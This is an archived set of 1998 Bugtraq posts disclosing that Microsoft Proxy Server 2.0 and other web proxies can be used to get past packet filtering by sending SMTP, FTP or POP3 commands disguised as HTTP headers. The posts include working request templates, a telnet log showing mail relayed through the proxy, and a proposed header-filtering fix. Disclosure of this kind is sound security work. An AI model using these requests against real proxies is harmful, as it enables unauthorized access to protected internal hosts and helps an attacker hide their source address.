home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / msproxy2_0_exploit.txt < prev    next >
Encoding:
Internet Message Format  |  1998-10-15  |  8.0 KB

  1. Date: Wed, 7 Oct 1998 07:10:49 +0100
  2. From: Mnemonix <mnemonix@GLOBALNET.CO.UK>
  3. To: BUGTRAQ@netspace.org
  4. Subject: WARNING: By-passing MS Proxy packet filtering
  5.  
  6.     [ The following text is in the "ISO-8859-1" character set. ]
  7.     [ Your display is set for the "US-ASCII" character set. Some characters may be displayed incorrectly. ]
  8.  
  9. Whilst playing around with Microsoft's Proxy Server 2, I came across an
  10. interesting "feature" that could allow someone to by-pass packet filtering
  11. if enabled.
  12. The essence of the "exploit" is to connect to a remote host on a given port
  13. - in the example provided I have used the SMTP port (25) - through the Web
  14. Proxy Service.
  15. What you attempt to do is disguise service-specific commands as HTTP
  16. headers. Below is a log of a telnet session where I've telnetted to the Web
  17. Proxy Service, made a GET request and passed off the SMTP commands as HTTP
  18. headers :
  19.  
  20. ------------------------------------------8<--------------------------------
  21. ----------
  22. GET http://smtpmail.globalnet.co.uk:25/ HTTP/1.0
  23. mail from: me@here.com
  24. rcpt to: mnemonix@globalnet.co.uk
  25. data :
  26. Subject: This is the Subject Line
  27. :
  28.  This is the body of the message. To get here do a Ctrl+J. To place a
  29. single dot on a line do another Ctrl+J
  30.                                                           .
  31.  
  32. 220 sand2.global.net.uk ESMTP Exim 1.92 #1 Wed, 7 Oct 1998 06:51:37 +0100
  33. 500 Command unrecognized
  34. 500 Command unrecognized
  35. 500 Command unrecognized
  36. 250 <me@here.com> is syntactically correct
  37. 250 <mnemonix@globalnet.co.uk> is syntactically correct
  38. 354 Enter message, ending with "." on a line by itself
  39. 250 OK id=0zQmVd-0007md-00
  40. 500 Command unrecognized
  41. 500 Command unrecognized
  42.  
  43. ------------------------------------------8<--------------------------------
  44. ---------
  45.  
  46. If the packet filter only allows incoming HTTP requests and the Web-Proxy
  47. Service gives Everybody access this could be used to gain entry to the
  48. "protected" network.
  49. This was tested on NT Server 4.0, Service Pack 3 with important hotfixes,
  50. IIS 3.0 and MS Proxy 2.0
  51.  
  52. l8r
  53. Mnemonix
  54. http://www.diligence.co.uk/
  55. http://www.infowar.co.uk/mnemonix
  56.  
  57. -------------------------------------------------------------------------------------------
  58.  
  59. Date: Thu, 8 Oct 1998 08:27:36 +0100
  60. From: Mnemonix <mnemonix@GLOBALNET.CO.UK>
  61. To: BUGTRAQ@netspace.org
  62. Subject: By-passing MS Proxy 2.0 and others packet filtering
  63.  
  64.     [ The following text is in the "ISO-8859-1" character set. ]
  65.     [ Your display is set for the "US-ASCII" character set. Some characters may be displayed incorrectly. ]
  66.  
  67. Okay - to make everything more clear
  68.  
  69.  
  70.  
  71. Firstly it seems that most web-based proxies, not just MS Proxy, are
  72. susceptible to this kind of attack. Thanks to Greg Jones and others for
  73. doing some testing on this.
  74.  
  75. > Whilst playing around with Microsoft's Proxy Server 2, I came across an
  76. > interesting "feature" that could allow someone to by-pass packet
  77. filtering
  78. > if enabled.
  79. > The essence of the "exploit" is to connect to a remote host on a given
  80. port
  81. > - in the example provided I have used the SMTP port (25) - through the
  82. Web
  83. > Proxy Service.
  84.  
  85. The Web-proxy is listening on TCP port 80. I telnet to port 80 and make an
  86. HTTP request.
  87.  
  88. > What you attempt to do is disguise service-specific commands as HTTP
  89. > headers. Below is a log of a telnet session where I've telnetted to the
  90. Web
  91. > Proxy Service, made a GET request and passed off the SMTP commands as
  92. HTTP
  93. > headers :
  94. >
  95. >
  96. ------------------------------------------8<--------------------------------
  97.  
  98. > ----------
  99. > GET http://smtpmail.globalnet.co.uk:25/ HTTP/1.0
  100. > mail from: me@here.com
  101. > rcpt to: mnemonix@globalnet.co.uk
  102. > data :
  103. > Subject: This is the Subject Line
  104. > :
  105. >  This is the body of the message. To get here do a Ctrl+J. To place a
  106. > single dot on a line do another Ctrl+J
  107. >                                                           .
  108. >
  109. > 220 sand2.global.net.uk ESMTP Exim 1.92 #1 Wed, 7 Oct 1998 06:51:37 +0100
  110. > 500 Command unrecognized
  111. > 500 Command unrecognized
  112. > 500 Command unrecognized
  113. > 250 <me@here.com> is syntactically correct
  114. > 250 <mnemonix@globalnet.co.uk> is syntactically correct
  115. > 354 Enter message, ending with "." on a line by itself
  116. > 250 OK id=0zQmVd-0007md-00
  117. > 500 Command unrecognized
  118. > 500 Command unrecognized
  119. >
  120. >
  121. ------------------------------------------8<--------------------------------
  122.  
  123. > ---------
  124.  
  125.  
  126. What is happening here is that the proxy interprets everything with line or
  127. continuous string with a ":" (colon) as a header and so passes it on to the
  128. final destination. The proxy server also adds some of its own HTTP headers
  129. such as "Via: proxy_name", "Host: final_destination", "Connection:
  130. Keep-Alive" as well as the orignal "GET / HTTP/1.0" (This is why you get
  131. some "Command Unrecognised"s.
  132.  
  133. For a service like FTP or POP3 you can string all the commands together
  134. like so:
  135.  
  136. GET http://some.server:21_or_110/ HTTP/1.0
  137. :(CTRL+J)
  138.         user whoever(CTRL+J)
  139.                         pass whatever(CTRL+J)
  140.                                 stat(CTRL+J)
  141.                                         etc = etc and finish with ENTER.
  142.  
  143.  
  144.  
  145.  
  146. Note- everything is stored up and then on you pressing enter twice it is
  147. sent to the target in a oner - the target buffers the headers and deals
  148. with them sequentially. Some it understands - eg your stealthed-as-HTTP
  149. headers and others it doesn't eg the real HTTP proxy headers.
  150.  
  151. Okay - that's the how - now what can be done with it?
  152.  
  153. Depending on the configuration of the proxy server it may allow external
  154. attackers to come in off the internet and access services or machines
  155. through a packet filter that ONLY allows incoming requests on port 80. Once
  156. you are onto the proxy server requests are passed off the internal
  157. interface to machines inside your "protected" LAN - making it as though the
  158. packet filter was not there.
  159.  
  160. In publicly acessible proxies - attacks can be launched against other
  161. machines across the Internet and to a certain degree hide the attacker's
  162. own IP address on the target machine.
  163.  
  164. This method of attack can be used to by-pass IP address trust (or distrust)
  165. mechanisms as well as to exploit with r* unix daemons.
  166.  
  167. There are many ways this can be exploited - too many to list in detail -
  168. (I've got to go to work now ;-) but because of this I'd suggest as a
  169. solution something like the following:
  170.  
  171. Rather than relying on the Admin to configure the proxy properly would it
  172. not be safer to get the proxy to filter out unkown headers. For example
  173. most browsers will specify a "User-Agent:" header - the proxy should pass
  174. this through - but it should remove a non-standard "HTTP" header like "mail
  175. >from: me@here.com" - since when do browsers use this as an HTTP header -
  176. other than when used for subversive activities. There should also be a
  177. mechanism where it will strip out headers containing the hex value \x08
  178. (CTRL+J) - because you could do this :
  179.  
  180. User-Agent: Mozilla/2.0(CTRL+J)
  181.                 Command 1(CTRL+J)
  182.                         Command 2(CTRL+J)
  183.                                 Command 3(CTRL+J)
  184.                                         etc etc
  185.  
  186.  
  187. > This was tested on NT Server 4.0, Service Pack 3 with important hotfixes,
  188. > IIS 3.0 and MS Proxy 2.0
  189.  
  190. Originally - but as was stated other web-pased proxies are also
  191. susceptible.
  192.  
  193. Cheers and l8r
  194.  
  195.  Mnemonix
  196.  http://www.diligence.co.uk/
  197.  http://www.infowar.co.uk/mnemonix
  198.  
  199.  
  200. -----------------------------------------------------------------------------
  201.  
  202. Date: Wed, 7 Oct 1998 07:39:03 +0100
  203. From: Mnemonix <mnemonix@GLOBALNET.CO.UK>
  204. To: BUGTRAQ@netspace.org
  205. Subject: Follow up: By-passing MS-Proxy 2.0 packet filtering
  206.  
  207.     [ The following text is in the "ISO-8859-1" character set. ]
  208.     [ Your display is set for the "US-ASCII" character set. Some characters may be displayed incorrectly. ]
  209.  
  210. Added to what information was supplied earlier you can issue the relevant
  211. commands with a single ":" and string each command together with CTRL+Js
  212.  
  213. eg
  214.  
  215. GET http://some.ftpserver.com:21/ HTTP/1.0
  216. :
  217. (CTRL+J)user anonymous
  218.                 (CTRL+J)pass me@here.com
  219.                                 (CTRL+J)cwd ~root(ENTER)(ENTER)
  220.  
  221. etc etc
  222. This is esp. useful for service specific commands that won't take a ":"
  223.  
  224. l8r
  225. Mnemonix
  226. http://www.diligence.co.uk/
  227. http://www.infowar.co.uk/mnemonix
  228.  
  229.  
  230.